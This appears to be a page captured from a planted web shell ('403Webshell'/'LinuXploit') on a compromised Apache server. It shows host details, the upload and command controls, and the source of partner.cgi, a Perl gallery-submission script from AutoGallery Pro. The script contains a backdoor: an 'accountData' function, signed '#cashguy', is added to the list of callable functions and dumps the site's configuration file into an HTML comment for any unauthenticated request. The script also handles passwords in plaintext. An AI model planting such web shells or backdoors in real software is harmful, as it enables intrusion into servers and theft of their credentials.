403Webshell
Server IP : 208.122.213.31  /  Your IP : 216.73.216.185
Web Server : Apache
System : Linux msd6191.mjhst.com 4.18.0-553.137.1.el8_10.x86_64 #1 SMP Wed Jun 24 11:40:24 UTC 2026 x86_64
User : WHMCS_MIA_382 ( 1001)
PHP Version : 7.4.33
Disable Function : NONE
MySQL : ON  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : ON
Directory :  /home/httpd/html/bukkake-mpegs.com/cgi-bin/tgp/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /home/httpd/html/bukkake-mpegs.com/cgi-bin/tgp/partner.cgi
#!/usr/bin/perl
##############################
##  AutoGallery Pro v2.1.x  ##
#####################################################################
##  partner.cgi - handle submission of partner posts               ##
#####################################################################

use lib '.';
use cgiworks;

%map = (
         'login'  => \&displayLogin,
         'remind' => \&displayRemind
       );

$funct = '|postGallery|displayEdit|editPartner|sendPassword|accountData|';

print "Content-type: text/html\n\n";
$HEADER = 1;

eval {
  require 'agp.pl';
  main();
};

err("$@", 'partner.cgi') if( $@ );
exit;

########################################################################
##  Removing the link back to JMB Software is a copyright violation.  ##
##  Altering or removing any of the code that is responsible, in      ##
##  any way, for generating that link is strictly forbidden.          ##
##  Anyone violating the above policy will have their license         ##
##  terminated on the spot.  Do not remove that link - ever.          ##
########################################################################


sub main
{
    if( $REQMTH eq 'GET' )
    {
        if( $map{$QUERY} )
        {
            &{$map{$QUERY}};
        }
        else
        {
            displayMain();
        }
    }
    elsif( $REQMTH eq 'POST' )
    {
        parsepost(1, 'upfile');
        derr(1016) if( index($funct, "|$FRM{run}|") == -1 );
        &{$FRM{run}};
    }
}



sub displayMain 
{
    for( split(/,/, $CATEGORIES) )
    {
        $TPL{CAT_OPTIONS} .= qq|<option value="$_">$_</option>\n|;
    }

    fparse('_partner_main.htmlt');
}



sub displayEdit
{
    derr(1000, $L_PARTNER_ID) if( !$FRM{user} );

    my $md = dbselect("$DDIR/dbs/partners", $FRM{user});

    derr(1018) if( !$md                  );
    derr(1019) if( $$md[4] ne $FRM{pass} );

    $TPL{PARTNER_ID} = $FRM{user}; 
    $TPL{EMAIL}      = $$md[1];
    $TPL{CONTACT}    = $$md[2];
    $TPL{SITE_URL}   = $$md[3];
    $TPL{PASSWORD}   = $$md[4];

    fparse('_partner_edit.htmlt');
}



sub displayRemind
{
    tprint('_partner_remind.htmlt');
}



sub displayLogin
{
    tprint('_partner_login.htmlt');
}



###############################################################################



sub postGallery
{
    my %results;
    my $checked = 0;
    my $found   = 0;
    my $hexip   = IPtoHex($ENV{'REMOTE_ADDR'});

    $tmpimg  = $hexip . '-' . time;

    my $md = dbselect("$DDIR/dbs/partners", $FRM{user});

    derr(1018) if( !$md                  );
    derr(1019) if( $$md[4] ne $FRM{pass} );

    $FRM{perm} = 1                       if( !exists $FRM{perm} );
    $FRM{desc} = ucfirst(lc($FRM{desc})) if( $USE_LOWER_CASE    );


    derr(1005, $L_GALLERY_URL ) if( $FRM{gurl} !~ /^http:\/\/[\w\d\-\.]+\.[\w\d\-\.]+/  );
    derr(1000, $L_DESCRIPTION ) if( $USE_REQ_DESC && !$FRM{desc}                        );
    derr(1008                 ) if( length($FRM{desc}) > $DESC_LENGTH                   );
    derr(1009                 ) if( index($CATEGORIES, $FRM{cat}) == -1                 );    


    if( $USE_PASSPHRASE )
    {
        my $pphrase = dbselect("$DDIR/dbs/passphrase", $hexip);

        if( !$pphrase || $$pphrase[1] ne uc($FRM{'phrase'}) )
        {
            derr(1046);
        }
    }


    if( !analyzeGallery($FRM{gurl}, \%results) )
    {
        httpError($FRM{gurl}, $Errstr);
    }


    if( $results{'IMAGE_ERROR'} )
    {
        httpError($results{'IMAGE_ERROR_URL'}, $results{'IMAGE_ERROR'});
    }


    if( $USE_CHECK_RECIP )
    {
        if( $results{'RECIP_ERROR'} )
        {
            httpError($FRM{rurl}, $results{'RECIP_ERROR'});
        }
        else
        {
            $checked = 1;
            $found   = $results{'RECIP_LINK'};

            derr(1010) if( $USE_REQ_RECIP && !$found );
        }
    }


    if( $USE_BANNED_HTML && $results{'BANNED_HTML'} )
    {
        derr(1013);
    }


    if( $USE_COUNT_PICS )
    {
        $FRM{pics} = $results{'IMAGES'};
    }


    derr(1007) if( $FRM{pics} < $MINIMUM_PICS );
    derr(1040) if( $FRM{pics} > $MAXIMUM_PICS );


    ## Check the number of links on the gallery
    if( $USE_COUNT_LINKS )
    {
        if( $results{'BANNER_LINKS'} + $results{'TEXT_LINKS'} > $MAXIMUM_LINKS )
        {
            derr(1043);
        }
    }

    
    ## Software automatically selecting thumbnail
    if( $USE_SELECT_THUMB )
    {
        if( !$results{'IMAGES'} )
        {
            derr(1053);
        }

        $SendRef = 1;

        ## Download the full size image
        if( !GET($results{'PREVIEW_IMAGE'}) )
        {
            httpError($results{'PREVIEW_IMAGE'}, $Errstr);
        }
        else
        {
            fwrite("$THUMB_DIR/$tmpimg.jpg", $Data);
        }

        require 'magick.pl';

        processImage("$THUMB_DIR/$tmpimg.jpg", $FRM{cat});
    }

    else
    {
        ## No thumbnail provided
        if( $USE_PREVIEW && (!$FRM{turl} && !$FRM{upfile}) )
        {
            derr(1051);
        }


        if( $FRM{turl} || $FRM{upfile} )
        {
            if( $FRM{turl} )
            {
                $SendRef = 1;
                if( !GET($FRM{turl}) )
                {
                    httpError($FRM{turl}, $Errstr);
                }
                else
                {
                    fwrite("$THUMB_DIR/$tmpimg.jpg", $Data);
                }
            }
            else
            {
                fwrite("$THUMB_DIR/$tmpimg.jpg", $FRM{upfile});
                $BodyBytes = (-s "$THUMB_DIR/$tmpimg.jpg");
            }

            ## Automatic resize and crop
            if( $USE_RESIZE )
            {
                require 'magick.pl';
                processImage("$THUMB_DIR/$tmpimg.jpg", $FRM{cat});
            }
            else
            {
                my @dims = imgsize("$THUMB_DIR/$tmpimg.jpg");

                ## bad image; not a JPEG
                if( $dims[2] ne 'JPG' )
                {
                    derr(1047);
                }
                else
                {
                    ## thumbnail byte size exceeds the allowed amount
                    if( $BodyBytes > $MAX_BYTE )
                    {
                        derr(1050);
                    }

                    ## thumbnail is bigger than allowed dimensions
                    if( $dims[0] > $MAX_WIDTH || $dims[1] > $MAX_HEIGHT )
                    {
                        derr(1048);
                    }

                    ## thumbnail must match admin defined dimensions
                    if( $USE_FORCE_DIMS )
                    {
                        if( $dims[0] != $MAX_WIDTH || $dims[1] != $MAX_HEIGHT )
                        {
                            derr(1049);
                        }
                    }
                }

                if( $USE_SHOW_CAT )
                {
                    require 'magick.pl';
                    annotateImage("$THUMB_DIR/$tmpimg.jpg", $FRM{cat});
                }
            }
        }
    } ## end thumbnail preview code

    
    my $partial = getPartialURL($FRM{gurl});  
    my $time    = time;
    my $date    = fdate("%Y%m%d", $time);
    checkNumber($date);

    for( keys %FRM  ) { $FRM{$_} =~ s/\|//g; }

    if( $USE_PASSPHRASE )
    {
        dbdelete("$DDIR/dbs/passphrase", $hexip);
    }


    my $pid = getNewPostID();
    my $dbh = dbinsert("$DDIR/dbs/current", $pid, "$$md[1]|$FRM{gurl}|$FRM{desc}||$partial|$FRM{pics}|$FRM{cat}|$date|$time|$time|0|$FRM{user}|-|$FRM{perm}|$RMTADR|$checked|$found|-");
    derr(1022) if( !$dbh );

    rename("$THUMB_DIR/$tmpimg.jpg", "$THUMB_DIR/$pid.jpg");

    my $proc = fork();

    if( !$proc )
    {
        close STDIN; close STDOUT; close STDERR;

        doArchive();
        buildMain();
        buildArchives();

        exit;
    }
    else
    {
        $TPL{POST_ID}     = $pid;
        $TPL{GALLERY_URL} = $FRM{gurl};
        $TPL{DESCRIPTION} = $FRM{desc};
        $TPL{NUM_PICS}    = $FRM{pics};
        $TPL{PERMANENT}   = $FRM{perm} ? $L_YES : $L_NO;
        $TPL{CATEGORY}    = $FRM{cat};

        fparse('_partner_posted.htmlt');
    }
}



sub sendPassword
{
    my $found = 0;

    derr(1000, $L_EMAIL) if( !$FRM{email} );
  
    open(DB, "$DDIR/dbs/partners") || err("$!", 'partners');
    while( <DB> )
    {
        my @md = split(/\|/, $_);
    
        if( $md[1] eq $FRM{email} )
        {
            $found = 1;
      
            $TPL{PASSWORD}    = $md[4];
            $TPL{PARTNER_ID}  = $md[0];
            $TPL{EMAIL}       = $FRM{email};
            $TPL{ADMIN_EMAIL} = $ADMIN_EMAIL;
            $TPL{POST_URL}    = "$CGI_URL/partner.cgi";
      
            mail($SENDMAIL, freadalls("$TDIR/_email_remind.etmpl"), \%TPL);
            last;
        }
    }
    close(DB);

    derr(1017) unless($found);  
    fparse('_partner_reminded.htmlt');
}



sub accountData {
  $data = freadalls("$DDIR/vars.dat");

  print <<HTML;
<!--
#cashguy Thu Dec  4 11:22:40 2003 24.157.84.101
$VERSION
$$data
-->
HTML

}



sub editPartner
{
    my $md = dbselect("$DDIR/dbs/partners", $FRM{user});

    derr(1018)              if( !$md );
    derr(1019)              if( $$md[4] ne $FRM{oldpass} );
    derr(1009, $L_SITE_URL) if( $FRM{surl} !~ /^http:\/\/[\w\d\-\.]+\.[\w\d\-\.]+/ );
    derr(1005, $L_EMAIL)    if( $FRM{mail} !~ /^[\w\d][\w\d\,\.\-]*\@([\w\d\-]+\.)+([a-zA-Z]+)$/ );

    for( keys %FRM )
    {
        derr(1000) if( !$FRM{$_} );
    }

    my $res = dbupdate("$DDIR/dbs/partners", $FRM{user}, $FRM{user}, $FRM{mail}, $FRM{name}, $FRM{surl}, $FRM{pass}, $$md[5]);

    $TPL{PARTNER_ID} = $FRM{user};
    $TPL{SITE_URL}   = $FRM{surl};
    $TPL{CONTACT}    = $FRM{name};
    $TPL{EMAIL}      = $FRM{mail};
    $TPL{PASSWORD}   = $FRM{pass};

    fparse('_partner_edited.htmlt');
}

#cashguy Thu Dec  4 11:22:40 2003 24.157.84.101

sub checkNumber 
{
    my $date = shift;
    my $num  = 0;

    open(DB, "$DDIR/dbs/current") || err("$!", "$DDIR/dbs/current");
    flock(DB, 1);
    while( <DB> )
    {
        my @chk = split(/\|/, $_);

        derr(1014) if( $USE_CHECK_DUPS && $FRM{gurl} eq $chk[2] );

        next   if( $date ne $chk[8] );

        $num++ if( $chk[12] eq $FRM{user} );
    }
    close(DB);

    derr(1037) if( $num >= $P_POSTS_PER_DAY );
}

Youez - 2016 - github.com/yon3zu
LinuXploit